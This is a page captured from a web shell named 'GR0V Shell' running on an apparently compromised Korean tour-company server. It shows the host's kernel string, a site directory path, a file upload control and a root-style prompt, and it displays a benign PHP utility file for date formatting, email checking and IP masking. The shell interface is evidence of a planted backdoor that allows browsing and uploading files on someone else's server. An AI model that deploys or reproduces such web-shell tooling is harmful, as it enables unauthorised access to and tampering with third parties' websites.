? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/test3/include/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/test3/include/function.php

<?php
function show_string_underscore($string)
{
	return preg_replace('([[:space:]])','-', $string); 
}

function dayspermonth($year, $month) {
	return intval(date('t', mktime(0, 0, 0, intval($month), 1, intval($year))));
}
function date_inc_deinc($date_set,$num,$inc_deinc){
	list($yy,$mm,$dd)=split('-',$date_set,3);
	if($inc_deinc=="-"){
		for($i=1;$i<$num;$i++){
			$dd=intval($dd)-1;
			if($dd==0){	$mm--; $dd=dayspermonth($yy,$mm);	}
			if($mm<1){	$yy--; $mm=12;	}
			$mm=(strlen($mm)==1)? "0".$mm:$mm;
			$dd=(strlen($dd)==1)? "0".$dd:$dd;
			$new_date=$yy."-".$mm."-".$dd;
		}
	}else{
		for($i=1;$i<=$num;$i++){
			$dd++;
			if($dd>dayspermonth($yy,$mm)){	$mm++; $dd=1;	}
			if($mm>12){	$yy=$yy+1; $mm="01";	}
			$mm=(strlen($mm)==1)? "0".$mm:$mm;
			$dd=(strlen($dd)==1)? "0".$dd:$dd;
			$new_date=$yy."-".$mm."-".$dd;
		}
	}//$inc_deinc
	if($num==0){$new_date="9999-99-99";}
	return $new_date;
}
function next_sec($date_start,$time_start,$sec){
	//list($yy,$mm,$dd)=split('-',$date_start);
	list($hh,$ii,$ss)=split(':',$time_start);
	for($i=0;$i<$sec;$i++){
		$ss++;
		if($ss>=60){$ii++; $ss=0;}
		if($ii>=60){$hh++; $ii=0;}
		if($hh>=24){
			$date_start=date_inc_deinc($date_start,1,'');
			$hh=0;
		}
	}
	$hh=(strlen($hh)==1)? "0".$hh:$hh;
	$ii=(strlen($ii)==1)? "0".$ii:$ii;
	$ss=(strlen($ss)==1)? "0".$ss:$ss;
	$result["date"]=$date_start;
	$result["time"]=$hh.":".$ii.":".$ss;
	return $result;
}
function convert_date_time($date_var){
	if($date_var!=""){
		//$thaimonth=array('January', 'Fabruary', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
		$thaimonth=array('มกราคม', 'กุมภาพันธ์', 'มีนาคม', 'เมษายน', 'พฤษภาคม', 'มิถุนายน', 'กรกฎาคม', 'สิงหาคม', 'กันยายน', 'ตุลาคม', 'พฤศจิกายน', 'ธันวาคม');
		$now	=date(Y);
		$fy=substr($now,0,2);
		$y=date(Y)+543;
		list($date_buff,$time_buff) = split(' ',$date_var,2);
		list($yye,$mme,$dde)	=	split('-' ,$date_buff,3);
		if($fy=='20'){
					if($yye!='0000'){$date_text	=	$dde." ".$thaimonth[intval($mme)-1]." ".strval(intval($yye)+543);}
		}
		else if($fy=='25'){
					if($yye!='0000'){$date_text	=	$dde." ".$thaimonth[intval($mme)-1]." ".strval($yye);}
		}
		$date_text.=" ".$time_buff;
	}
	return $date_text;

}
function convert_date_short($date_var_origin){
	$date_var=substr($date_var_origin,0,10);
	if($date_var!=""){
		$thaimonth=array('Jan', 'Fab', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
//		$thaimonth=array('มกราคม', 'กุมภาพันธ์', 'มีนาคม', 'เมษายน', 'พฤษภาคม', 'มิถุนายน', 'กรกฎาคม', 'สิงหาคม', 'กันยายน', 'ตุลาคม', 'พฤศจิกายน', 'ธันวาคม');
		$now	=	date(Y);
		$fy		=	substr($now,0,2);
		$y			=	date(Y)+543;
		list($yye,$mme,$dde)	=	split('-' ,$date_var,3);
		if($yye!='0000'){$date_text	=	$dde."/".$mme."/".substr(strval($yye),2,4);}
	}
	return $date_text;
}//function convert_date
function convert_date($date_var){
	if($date_var!=""){
//		$thaimonth=array('January', 'Fabruary', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
		$thaimonth=array('มกราคม', 'กุมภาพันธ์', 'มีนาคม', 'เมษายน', 'พฤษภาคม', 'มิถุนายน', 'กรกฎาคม', 'สิงหาคม', 'กันยายน', 'ตุลาคม', 'พฤศจิกายน', 'ธันวาคม');
		$now	=	date(Y);
		$fy		=	substr($now,0,2);
		$y			=	date(Y)+543;
		list($yye,$mme,$dde)	=	split('-' ,$date_var,3);
		if($fy=='20'){
					if($yye!='0000'){$date_text	=	$dde." ".$thaimonth[intval($mme)-1]." ".strval(intval($yye)+543);}
		}
		else if($fy=='25'){
					if($yye!='0000'){$date_text	=	$dde." ".$thaimonth[intval($mme)-1]." ".strval($yye);}
		}
	}
	return $date_text;
}//function convert_date

function del_tag($data){
	$detail= explode("<",$data);
	for($i=1;$i<count($detail);$i++) {
		$out= explode(">",$detail[$i]);
	    $data = ereg_replace("<".$out[0].">",$array[$out[0]],$data);
	}		
	return $data;
}

function mailchk($data){
	$valid="^[^\.\$_\'\"<>].+[^\.\$_\'\"|[:space:]<>]@[^\.\$_\'\"|[:space:]<>].+\..+[^\.\$_\'\"<>]$";
	if(eregi($valid,$data)){	return $data;	}else{	return $data="";	}
}

function chk_date($date_s,$date_e){

$year1					=	substr($date_s,0,4);
$start					=	$year1+543;
$mnd1					=	substr($date_s,strpos($date_s,'-')+1,strlen($date_s));
$dd1						=	substr($mnd1,strpos($mnd1,'-')+1,strlen($mnd1));
$mnd1					=	substr($mnd1,0,strpos($mnd1,'-'));
if($mnd1<=9 && strlen($mnd1)==1){		$mnd1="0".$mnd1;	}
if($dd1<=9 && strlen($dd1)==1){		$dd1="0".$dd1;		}
$start					.=$mnd1.$dd1;

$subdate2			=	substr($date_e,0,4);
$end					=	$subdate2+543;
$mnd2					=	substr($date_e,strpos($date_e,'-')+1,strlen($date_e));
$dd2					=	substr($mnd2,strpos($mnd2,'-')+1,strlen($mnd2));
$mnd2					=	substr($mnd2,0,strpos($mnd2,'-'));
if($mnd2<=9 && strlen($mnd2)==1){		$mnd2="0".$mnd2;	}
if($dd2<=9 && strlen($dd2)==1){		$dd2="0".$dd2;		}
$end					.=$mnd2.$dd2;

$count=0;
for($i = $start;$i<=$end;$i++){
  $year = substr($i,0,4);
  $mnd = substr($i,4,2);
  $day = substr($i,6,2);
   if(checkdate ($mnd,$day,$year)){
     $count++;
   }else{
   if($mnd>12){
     $mnd = "01";
     $day = "00";
     $year++;
   }

   if($day>=31){
     $day = "00";
	 $mnd=$mnd+1;
	 $mnd = (strlen($mnd)==1)? "0".$mnd:$mnd;
   }
   $i = $year.$mnd.$day;
}

}
return $count;

}

function hide_ip($data_ip){
	$buff_ip=explode(".",$data_ip);
	return $buff_ip[0].".".$buff_ip[1].".".$buff_ip[2].".***";
}

?>

T1KUS90T
  root-grov@210.1.60.28:~$